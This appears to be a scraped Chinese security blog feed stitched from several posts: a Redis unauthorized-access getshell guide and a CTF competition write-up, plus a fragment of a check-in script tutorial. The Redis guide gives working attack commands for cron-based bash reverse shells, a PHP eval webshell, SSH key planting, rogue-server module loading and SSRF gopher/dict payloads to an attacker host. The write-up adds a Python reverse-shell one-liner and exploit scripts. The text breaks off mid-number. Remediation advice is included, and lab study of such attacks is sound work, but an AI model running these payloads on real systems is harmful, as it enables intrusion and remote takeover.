签到成功效果

每日首次签到通知

image-20210123001123289

重复签到通知

image-20210122204857759

VPS Crontab

  1. 新建文件夹

    1
    2
    mkdir Auto
    cd Auto

  2. 下载脚本

    1
    wget https://github.com/lintstar/Zero-AutoCheck/releases/download/1.0/Zero-AutoCheck.py

  3. 替换自己的账号密码和 SCKEY

    1
    vim Zero-AutoCheck.py

  4. 安装 Python3.6

    1
    yum -y install python36

  5. 添加定时任务

    1
    crontab -e

  6. 新增 每天9点20执行脚本

    1
    20 9 * * * /usr/bin/python3 /root/Auto/Zero-AutoCheck.py

  7. 保存退出

运行效果

image-20210124120619040

每天 3 积分 ~

image-20210124120643281

测试时候出现了几次签到成功却没有通知到微信的情况，是因为方糖近期服务器稳定性的问题：

image-20210124120920691

]]> <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>零组资料文库 3.0 设置了信誉积分机制：</strong></p> <table> <thead> <tr> <th>信誉 Redis GetShell 姿势总结 https://www.lintstar.top/2021/01/d0e169c6.html 2021-01-02T14:22:22.000Z 2023-11-09T07:40:38.119Z Crontab 计划任务

Crontab 是 Linux系统或 Unix 系统中常用的定时命令,使用 Crontab 可以在指定的时间执行一个 Shell 脚本或者一系列 Linux/Unix 命令。

Crontab 格式

1
2
3
4
5
6
7
8
9
*    *    *    *    *    command
-    -    -    -    -    -
|    |    |    |    |    |
|    |    |    |    |    +----- 需要执行的命令（绝对路径）
|    |    |    |    +---------- 星期中星期几 (0 - 7) (星期天 为0)
|    |    |    +--------------- 月份 (1 - 12) 
|    |    +-------------------- 一个月中的第几天 (1 - 31)
|    +------------------------- 小时 (0 - 23)
+------------------------------ 分钟 (0 - 59)

Crontab 示例

  1. 在每天凌晨过一分钟12:01 a.m 执行
1
1 0 * * * /root/bin/backup.sh
  1. 每个工作日(Mon – Fri) 11:59 p.m 执行
1
59 11 * * 1,2,3,4,5 /root/bin/backup.sh

下面例子与上面的例子效果一样：

1
59 11 * * 1-5 /root/bin/backup.sh
  1. 每5分钟执行一次命令
1
*/5 * * * * /root/bin/check-status.sh
  1. 每个月的第一天 1:10 p.m 执行
1
10 13 1 * * /root/bin/full-backup.sh
  1. 每个工作日 11 p.m 执行
1
0 23 * * 1-5 /root/bin/incremental-backup.sh

Crontab 选项

1
2
3
4
crontab –e :  修改 crontab 文件. 如果文件不存在会自动创建。 
crontab –l :  显示 crontab 文件。 
crontab -r :  删除 crontab 文件。
crontab -ir : 删除 crontab 文件前提醒用户。

Cron表达式和Crontab的区别

  • Cron表达式从左往右，从秒开始；而Crontab则是从分钟开始的。

  • Cron表达式是一个字符串，字符串以5或6个空格隔开，分为6或7个域，每一个域代表一个含义，

  • Cron有如下两种语法格：

    （1）Seconds Minutes Hours DayofMonth Month DayofWeek Year

    （2）Seconds Minutes Hours DayofMonth Month DayofWeek

  • Crontab格式：

    MIN（分钟） HOUR（小时） DAY（日期） MONTH（月份） DAYOFWEEK（星期） COMMAND（命令）

漏洞成因

  1. redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略，直接暴露在公网
  2. 没有设置密码认证（一般为空），可以免密码远程登录redis服务

环境准备

目标机器：172.16.186.4

Kali 开启 SSH

1. 查看ssh服务状态

1
/etc/init.d/ssh status

2.修改配置文件

1
vim /etc/ssh/sshd_config

20201222_1007

3. 启动ssh服务

1
/etc/init.d/ssh start

查看服务状态

1
/etc/init.d/ssh status

开机启动

1
update-rc.d ssh enable

配置 Redis

1
2
3
4
5
6
7
8
9
wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
tar zxvf redis-3.2.11.tar.gz 
cd redis-3.2.11
cp redis.conf /etc/redis.conf
make
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
vim /etc/redis.conf

去掉ip绑定，允许除本地外的主机远程登录redis服务 前面加#注释掉

关闭保护模式，允许远程连接redis服务将yes 改为no

20201222_1107

启动 Redis

1
redis-server /etc/redis.conf

image-20201222111048640

常用命令

连接 Redis 服务器

1
redis-cli -h 172.16.186.4
1
2
3
4
5
6
7
8
9
10
 （1）info                       查看信息     
 （2）flushall                 删除所有数据库内容
 （3）flushdb                    刷新数据库
 （4）KEYS * 查看所有键，使用select num可以查看键值数据。
 （5）set test "who am i"        设置变量
 （6）config set dir {dirpath}     设置路径等配置
 （7）config set dbfilename redis.rdb 设置备份文件名
 （8）config get dir/dbfilename  获取路径及数据配置信息
 （9）save                       保存
（10）get                        变量，查看变量名称

MSF 下利用模块

1
2
3
auxiliary/scanner/redis/file_upload 
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

nmap获取信息

1
nmap -A -p 6379 --script redis-info 172.16.186.4

GetShell 原理：攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的 config 命令，可以进行写文件操作，我们可以将dir 设置为一个目录 a，而 dbfilename 为文件名 b，再执行 save 或 bgsave，就可以写入一个路径为 a/b 的任意文件。

计划任务反弹 Shell

  • 在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# VPS 启监听
➜ nc -lvp 6666

# 攻击机连接 Redis (若其他端口加 -p)
➜ redis-cli -h 172.16.186.4

172.16.186.4:6379> set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1\n"
OK
172.16.186.4:6379> config set dir /var/spool/cron/
OK
172.16.186.4:6379> config set dbfilename root
OK
172.16.186.4:6379> save
OK

Tips：默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

crontab -l 列出某个用户cron服务的详细内容

crontab -r 删除每个用户cront任务 (谨慎：删除所有的计划任务)

crontab -e 使用编辑器编辑当前的crontab文件

如：*/1 * * * * echo “hello world” >> /tmp/test.txt 每分钟写入文件

Web 目录写 Shell

  1. 当 redis 权限不高且服务器开着 web 服务
  2. redis 有 web 目录写权限
  3. 可以尝试往 web 路径写 webshell
1
2
3
4
5
6
7
8
9
10
11
# 攻击机连接 Redis (若其他端口加 -p)
➜ redis-cli -h 172.16.186.4

172.16.186.4:6379> config set dir /var/www/html/
OK
172.16.186.4:6379> config set dbfilename shell.php
OK
172.16.186.4:6379> set x "<?php @eval($_POST['shell']);?>"
OK
172.16.186.4:6379> save
OK

写 ssh-keygen 公钥获取权限

  1. Redis服务使用ROOT账号启动
  2. 服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 本地生成一对密钥
➜ ssh-keygen -t rsa

# 将公钥写入一个文件，内容前后要加两个换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
# 将公钥放入目标服务器键`crackit`里面
cat key.txt | redis-cli -h 172.16.186.4 -x set crackit

172.16.186.4:6379> config set dir /root/.ssh/
OK
172.16.186.4:6379> config get dir
1) "dir"
2) "/root/.ssh"
172.16.186.4:6379> config set dbfilename authorized_keys
OK
172.16.186.4:6379> save
OK

# 使用私钥连接
➜ ssh -i id_rsa root@172.16.186.4

或者172.16.186.4:6379> set crackit “\n\n\n 公钥内容 \n\n\n”

Redis 主从复制 GetShell

Redis 是一个使用 ANSIC 编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个 Redis 的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis 就提供了主从模式，主从模式就是指使用一个 redis 实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。基于Redis主从复制的机制，可以通过FULLRESYNC将任意文件同步到从节点（slave）从而利用漏洞获取权限。

Redis RCE 自动化工具

条件

Redis <=5.0.5

EXP

Redis Rogue Server

用法

1
2
3
4
5
6
7
-h, --help           show this help message and exit
--rhost=REMOTE_HOST  target host
--rport=REMOTE_PORT  target redis port, default 6379
--lhost=LOCAL_HOST   rogue server ip
--lport=LOCAL_PORT   rogue server listen port, default 21000
--exp=EXP_FILE       Redis Module to load, default exp.so
-v, --verbose        Show full data stream

交互式 Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜ python3 redis-rogue-server.py --rhost=目标 IP --lhost=xx.xx.xx.xx
______         _ _      ______                         _____                          
| ___ \       | (_)     | ___ \                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __ 
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |   
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig

[info] TARGET 127.0.0.1:6379
[info] SERVER 127.0.0.1:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: i
[info] Interact mode start, enter "exit" to quit.
[<<] whoami
[>>] :n0b0dy
[<<]

反弹 Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
➜ python3 redis-rogue-server.py --rhost=目标 IP --lhost=xx.xx.xx.xx
______         _ _      ______                         _____
| ___ \       | (_)     | ___ \                       /  ___|
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|
                                     __/ |
                                    |___/
@copyright n0b0dy @ r3kapig

[info] TARGET 127.0.0.1:6379
[info] SERVER 127.0.0.1:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r
[info] Open reverse shell...
Reverse server address: 127.0.0.1
Reverse server port: 9999
[info] Reverse shell payload sent.
[info] Check at 127.0.0.1:9999
[info] Unload module...

VPS 接收 Shell：

1
2
3
4
➜ nc -lvvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from localhost.localdomain 39312 received!
whoami

SSRF 反弹 Shell

参照 Redis 手动 Getshell 的过程，当站点存在漏洞时可利用 SSRF 反弹 Shell

测试漏洞页面 ssrf.php 

1
2
3
4
5
6
7
8
9
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

环境准备

  • 模拟内网未授权 Redis 服务器：172.16.186.4
  • 模拟攻击者机器：192.168.0.107
  • 在攻击者机器上构建恶意 Redis 服务器，同时监听本地 9999 端口接收 Shell

利用 dict 协议反弹 Shell

利用方式：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看当前redis的相关配置
ssrf.php?url=dict://172.16.186.4:6379/info

# 设置备份文件名
ssrf.php?url=dict://172.16.186.4:6379/config:set:dbfilename:exp.so

# 连接恶意Redis服务器
ssrf.php?url=dict://172.16.186.4:6379/slaveof:192.168.0.107:1234

# 加载恶意模块
ssrf.php?url=dict://172.16.186.4:6379/module:load:./exp.so

# 切断主从复制
ssrf.php?url=dict://172.16.186.4:6379/slaveof:no:one

# 执行系统命令
 ssrf.php?url=dict://172.16.186.4:6379/system.rev:192.168.0.107:9999

利用 Gopher 协议反弹 Shell

利用方式：

1
2
3
4
5
# 设置文件名，连接恶意Redis服务器
gopher://172.16.186.4:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.0.107%25201234%250d%250aquit

# 加载exp.so，反弹shell
gopher://172.16.186.4:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.0.107%25209999%250d%250aquit

Get 请求会自动解码一次所以这里需要进行两次 URL 编码

Lua 脚本执行命令

Redis 2.6以前的版本内置了lua脚本环境，在有连接redis服务器的权限下，可以利用lua执行系统命令。

本地建立一个lua脚本：

1
2
3
vim  hello.lua
local msg = "hello.hack!"
return msg

在客户端连接 Redis 服务器并执行 hello.lua

1
redis-cli eval "$(cat hello.lua)" 0 -h 172.16.186.4

写二进制文件 利用dns、icmp等协议上线 (tcp协议不能出网)

写二进制文件的方法跟前边有所不同，原因在于使用 RDB 方式备份 Redis 数据库是默认情况下会对文件进行压缩，上传的二进制文件也会被压缩，而且文件前后存在脏数据，因此需要将默认压缩关闭，并且通过计划任务调用 python清洗脏数据。

  1. 创建一个 a.lua 其内容如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
local function hex2bin(hexstr)
    local str = ""
    for i = 1, string.len(hexstr) - 1, 2 do
        local doublebytestr = string.sub(hexstr, i, i+1);
        local n = tonumber(doublebytestr, 16);
        if 0 == n then
            str = str .. '\00'
        else
            str = str .. string.format("%c", n)
        end
    end
    return str
end

local dir = redis.call('config','get','dir')
redis.call('config','set','dir','/tmp/')
local dbfilename = redis.call('config','get','dbfilename')
redis.call('config','set','dbfilename','t')
local rdbcompress = redis.call('config','get','rdbcompression')
redis.call('config','set','rdbcompression','no')
redis.call('flushall')

local data = '1a2b3c4d5e6f1223344556677890aa'
redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))
local rst = {}
rst[1] = 'server default config'
rst[2] = 'dir:'..dir[2]
rst[3] = 'dbfilename:'..dbfilename[2]
rst[4] = 'rdbcompression:'..rdbcompress[2]
return rst

变量data保存的是程序的16进制编码

  1. 利用 redis 执行该 lua 脚本
1
redis-cli --eval a.lua -h 172.16.186.4
  1. 由于 redis 不支持在 lua 中调用 save 因此需要手动执行 save 操作,并且删除 key data，恢复 dir 等。
1
2
3
4
redis-cli save -h 172.16.186.4
redis-cli config set dir *** -h 172.16.186.4
redis-cli config set dbfilename *** -h 172.16.186.4
redis-cli config set rdbcompression * -h 172.16.186.4

目前写入的文件前后是存在垃圾数据的，需要通过写计划任务调用python或者系统命令提取出二进制文件（写文件之在数据前后加入了 ||| 作为提取最终文件的标识）

1
*/1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])'

修复建议

  1. 禁止Redis服务对公网开放，可通过修改 redis.conf 配置文件中的 #bind 127.0.0.1 ，去掉前面的 # 即可（Redis本来就是作为内存数据库，只要监听在本机即可）

  2. 设置密码访问认证，可通过修改 redis.conf 配置文件中的 requirepass 设置复杂密码 （需要重启 Redis 服务才能生效）

    1
    requirepass mypassword  （注意redis不要用-a参数，明文输入密码，连接后使用auth认证）

  3. 对访问源 IP 进行访问控制，可在防火墙限定指定源 IP 才可以连接 Redis 服务器

  4. 修改 Redis 默认端口，将默认的6379端口修改为其他端口。

    1
    Port 6379

  5. 保证 authorized_keys 文件的安全

    为了保证安全，您应该阻止其他用户添加新的公钥。
    将 authorized_keys 的权限设置为对拥有者只读，其他用户没有任何权限：

    1
    $ chmod 400 ~/.ssh/authorized_keys

    为保证 authorized_keys 的权限不会被改掉，您还需要设置该文件的 immutable 位权限：

    1
    $ chattr +i ~/.ssh/authorized_keys

    然而，用户还可以重命名 ~/.ssh，然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况，需要设置 ~./ssh 的 immutable 位权限：

    1
    $ chattr +i ~/.ssh

    注意: 如果需要添加新的公钥，需要移除 authorized_keys 的 immutable 位权限。然后，添加好新的公钥之后，按照上述步骤重新加上 immutable 位权限。

  6. 禁止一些高危命令（重启redis才能生效)

    修改 redis.conf 文件，禁用远程修改 DB 文件地址：

    1
    2
    3
    4
    5
    rename-command FLUSHALL ""

    rename-command CONFIG ""

    rename-command EVAL ""

    或者通过修改redis.conf文件，改变这些高危命令的名称：

    1
    2
    3
    4
    5
    rename-command FLUSHALL "name1"

    rename-command CONFIG "name2"

    rename-command EVAL "name3"

  7. 以低权限运行 Redis 服务（重启redis才能生效）

    为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆：

    1
    groupadd -r redis && useradd -r -g redis redis

参考链接

]]> <h1 id="Crontab-计划任务"><a href="#Crontab-计划任务" class="headerlink" title="Crontab 计划任务"></a>Crontab 计划任务</h1><p>Crontab 是 Linux系统或 Unix 系统中常用的 蓝帽杯决赛 WRITEUP https://www.lintstar.top/2020/12/784edd2e.html 2020-12-21T10:22:22.000Z 2023-11-09T07:40:38.119Z 前言

上周六参加『 蓝帽杯 』全国大学生网络安全技能大赛线上决赛记录，先挖个坑等一手之后官方的 WP 。

image-20201221144445748

0x01 签到题

操作内容

题目给了一些数字：

1
[102, 108, 97, 103, 123, 119, 101, 49, 99, 48, 109, 101, 95, 98, 108, 117, 101, 99, 97, 116, 125]

尝试 AscII 8进制解码：

image-20201219174646505

flag 值

flag{we1c0me_bluecat}

0x02 php

操作内容

查看源代码：

image-20201219181441608

想到 phpunit 远程命令执行漏洞（CVE-2017-9841）

1
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

先试了 post <?php print_r(scandir('/'));

20201219_1201

<?php show_source('/flag'); 读取失败 似乎是没权限

通过尝试发现 pcntl_exec（）函数可以使用，进行反弹shell

1
<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

20201219_1632

cat /flag 权限不够，ls - la 发现用户为 www-data, 而 /flag文件为 admin 权限

尝试切换 admin 权限报错：

1
su: must be run from a terminal

切换交互型 shell：

1
python -c 'import pty; pty.spawn("/bin/bash")'

在 var/www/html 下翻到了 admin 的密码：

20201219_1656

cat 一下：

20201219_16561

执行 su admin 拿到 flag

20201219_1651

flag 值

flag{c31a77bd-5d01-4074-ab57-7828d7e85943}

0x03 login

操作内容

使用 Dirsearch 进行目录扫描：

image-20201219184240437

泄露 www.zip 内容为config.php 和 index.php：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# config.php
<?php
error_reporting(0);
class File {
    public $user;
    public $pass;
    public $repass;
    public $dir;
    function __construct($data1, $data2, $data3, $data4)
    {
        $this->user = $data1;
        $this->pass = $data2;
        $this->repass = $data3;
        $this->dir = $data4;
    }
    function Login()
    {
    if (($this->user == 'ohhhh' && $this->pass == 'a3333') || ($this->user == 'admin' && $this->pass == 'admin888')) {
    return true;
    } else {
    return false;
    }
    }
    function __destruct()
    {
    if ($this->Login()) {
    readfile($this->dir);
    } else {
    die('wrong user or pass');
    }
    }
}
function filter($data){
    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
        return $data;
    } else {
        $filter_arr = array('admin','test','root');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'hacker',$data);
    }
}
if (isset($_GET['user']) && isset($_GET['pass']) && isset($_GET['repass']) && isset($_GET['dir'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];
    $repass = $_GET['repass'];
    $dir = $_GET['dir'];
    $get = filter(serialize($_GET));
} else {
    die('hello world');
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# index.php
<!DOCTYPE html>
<html>
<head>
<title>file-reading</title>
</head>
<body>

<form action="index.php" method="GET">
username<input type="text" name="user">
password<input type="text" name="pass">
repassword<input type="text" name="repass">
filename<input type="text" name="dir">
<input type="submit" value="submit">
</form>

</body>
</html>
only admin can view /flag
<?php
include 'config.php';
$data = unserialize($get);
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
$myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
} else {
if (preg_match('/flag|\.\.|\/|index|config/i', $dir)) {
    die('NO Hacker !!!!!!!!');
}
$myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
}
?>

分析源代码 发现可以利用 echo($this->dir); 读取 flag

而 if (preg_match('/flag|\.\.|\/|index|config/i', $dir)) 过滤了 // .. / index /flag config

本地测试代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<!DOCTYPE html>
<html>
<head>
  <title>file-reading</title>
</head>
<body>

  <form method="GET">
    username<input type="text" name="user">
    password<input type="text" name="pass">
    repassword<input type="text" name="repass">
    filename<input type="text" name="dir">
    <input type="submit" value="submit">
  </form>

</body>
</html> 
only admin can view /flag
<?php
error_reporting(0);
class File {

    public $user;
    public $pass;
    public $repass;
    public $dir;

    function __construct($data1, $data2, $data3, $data4)
    {
        $this->user = $data1;
        $this->pass = $data2;
        $this->repass = $data3;
        $this->dir = $data4;
    }

    function Login()
    {
      if (($this->user == 'ohhhh' && $this->pass == 'a3333') || ($this->user == 'admin' && $this->pass == 'admin888')) {
      //先登录
        return true;
      } else {
        return false;
      }
    }

    function __destruct()
    {
      if ($this->Login()) {
        echo($this->dir);
      // 利用这个读取
      } else {
        die('wrong user or pass');
      }
    }
}

function filter($data){
    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
        return $data;
    } else {
        $filter_arr = array('admin','test','root');
        $filter = '/'.implode('|',$filter_arr).'/i';
    // $filter = /admin|test|root/i
        return preg_replace($filter,'hacker',$data);
    }

}
if (isset($_GET['user']) && isset($_GET['pass']) && isset($_GET['repass']) && isset($_GET['dir'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];
    $repass = $_GET['repass'];
    $dir = $_GET['dir'];
  // 这里可以获取一个假的dir
  print("2");
  echo "<br>";
    $get = filter(serialize($_GET));
  
  echo serialize($_GET);
  echo "<br>";
  echo $get;
  echo "<br>";
  var_dump(unserialize($get));
  echo "<br>";
  $data = unserialize($get);
  var_dump($data);
  echo "<br>";
} else {
    die('hello world');
}
// 这一步需要每个参数都有值
// 猜测可能有反序列化对象逃逸


$data = unserialize($get);
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
  $myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
} else {

  echo $dir;
  echo "<br>";
  if (preg_match('/flag|\.\.|\/|index|config/i', $dir)) {
      die('NO Hacker !!!!!!!!');
  }
  $myFile = new File($data['user'], $data['pass'], $data['repass'], $data['dir']);
}

因为是序列化之后才过滤的 然后反序列化 这里可以反序列化对象逃逸

后面检测输入dir是在过滤之前给的 所以可以造一个假的$dir=1

构造 payload：

1
?user=ohhhh&pass=a3333&repass=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"dir";s:5:"/flag";}&dir=2

flag值

flag{a5b689bf-3549-4b13-afde-3be026075faf}

0x04 slient

操作内容

打开题目

沙盒逃逸 存在seccomp 限制

查看

image-20201219194747172

程序可输入的shellcode执行

有read open 可用

思路 ：

打开文件 猜测目标文件在./flag下

由于mmap申请地址在0x10000处

填充后通过 pop rsi; shr esi,12; 复位

按位比较爆破出读出 flag 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

file = context.binary = './chall'


def pwn(p, index, ch):
    shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

    # re open, rax => 4
    shellcode += "push 2; pop rax; syscall;"

    # read(rax, 0x10040, 0x50)
    shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
    
    if index == 0:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
    else:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

    shellcode = asm(shellcode)
    # print(len(shellcode))
    p.sendafter("Welcome to silent execution-box.\n", shellcode.ljust(0x40-14, b'a') + b'./flag')

index = 0
a = []
while True:
    for ch in range(0x20, 127):
        # p = remote('8.131.246.36', '40334')
        p=process(file)
        pwn(p, index, ch)
        start = time.time()
        try:
            p.recv(timeout=2)
        except:
            pass
        end = time.time()
        p.close()
        if end-start > 1.5:
            a.append(ch)
            print("".join([chr(i) for i in a]))
            break
    else:
        print("".join([chr(i) for i in a]))
        break
    index = index + 1

print("".join([chr(i) for i in a]))

得到结果

image-20201219194856719

flag 值

flag{k33p_qu14t!}

0x05 common_modulus

解题过程

下载题目附件

task.py 内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
from Crypto.Util.number import *
from secret import FLAG,HINT
assert len(HINT) < len(FLAG)
assert len(FLAG) == 38

p1 = getPrime(2048)
q1 = getPrime(2048)
n1 = p1*q1
e1 = 321959
e2 = 250261
c1 = pow(bytes_to_long(HINT),e1,n1)
c2 = pow(bytes_to_long(HINT),e2,n1)

print('n1={}'.format(n1))
print('c1={}'.format(c1))
print('c2={}'.format(c2))


p2 = getPrime(2048)
q2 = getPrime(2048)
n2 = p2*q2
e3 = #e3 in hint
e4 = #e4 in hint

flag = bytes_to_long(FLAG)*bytes_to_long(HINT)
c3 = pow(flag,e3,n2)
c4 = pow(flag,e4,n2)

print('n2={}'.format(n2))
print('c3={}'.format(c3))
print('c4={}'.format(c4))

题目名字提示了是 RSA 共模攻击

解题脚本如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from libnum import n2s,s2n
from gmpy2 import invert
import gmpy2
from Crypto.Util.number import *

def egcd(a,n):
    x=0
    old_x=1
    y=1
    old_y=0
    r=n
    old_r=a
    while(not r==0):
        q=old_r//r
        t=r
        r=old_r-q*t
        old_r=t
        u=x
        x=old_x-q*u
        old_x=u
        v=y
        y=old_y-q*v
        old_y=v
    return [old_r,old_x,old_y]

def common_m(n,c1,c2,e1,e2):
    print(len(bin(n)))
    s = egcd(e1, e2)
    print(s)
    s1 = s[1]
    s2 = s[2]
    if s1 <0:
        s1 = -s1
        c1 = invert(c1,n)
    if s2 <0:
        s2 = -s2
        c2 = invert(c2, n)
    m = pow(c1,s1,n)*pow(c2,s2,n) % n
    return m,s[0]

def low_e_attack(e,m,n):
    l=0
    t=n
    ret = -1
    while(l<=t):
        mid = (l+t)//2
        tem = mid**e
        if(tem == m):
            print(mid)
            ret = mid
            break
        elif tem<m:
                l=mid+1
        elif tem>m:
            t=mid-1
    return ret
    
def main():
    n = 781036391323974008856551441504551844841173384369055361767143425092387727015642055181741701170017399241497120632344953499820518820132068694764700867696829033106666055030180813062993649803797649124562825632340854157269454042167398954816966758408050707394510052574354703514670567409229754892812751190528559839163370996270173354192391025119212070374345175232268160015709412770236244184407603397493657886160301984598114022346065772036916080039069065703045460825584095559014098364274915486192890077441915702648662247422573607141301387160468708901332801070000950051880674436952646199048944681743156311156561347137284309444428161898926050856612636204505753959646608899803680618195914959490447723147711810217755931778569656715879355497741337867486596084617334222360877256151925248867366886699774397369843538784086757551124956184373578870266105742924242667575610284091444010308038579594247922368368398449676635147254244680714381600463229849534333608407292776731721661271718860696451810720187133868564530559847589151122364073467586981976649022363672800597675920485113168688814933825793827901051904388778126030212255351752567066602576348655685594872269975311829268026394327948942096118152848379484736487085060738082253125862183108996724624059293
    c1 = 369574840235539108372094092254419274246554984982221252273253594183836400022960378170488757871945636102709146100003103420983393418895920944769809509498534206740321414394214836818668536994868508542980403916810808297197199669370712797146359430162012897117686984913530312098913792383741034334686281360853026726954824577914039860820382688425141138202072956110821496285690037742234810972548140439615644523558778763893381916419169521655893103187028705326557465586164413430726626576639348603638806511311706975958593200898505048876740706947195874397909272772688774998312506679360257618176951770041342256209410863260884750487279961933541672586237719402972217492287549068766414410155714303648473676009661943965293501994978200745219593293552499364219563185093112256120550663818918964081980469288619926291250638450874316053326601032273087039376723415701554676257043515877013761681843885375325430297941942692679848107999743068109805325264735576658206199089491608087442001508062053843516431089207243339447049547611183815785864081653492970812961076181422434762137310522146572918571492263273382927468586853431581811297567337244729976259333642991615934568219783998183005087012034016783535060297367475598352120058322912068079704771685886066199702963018
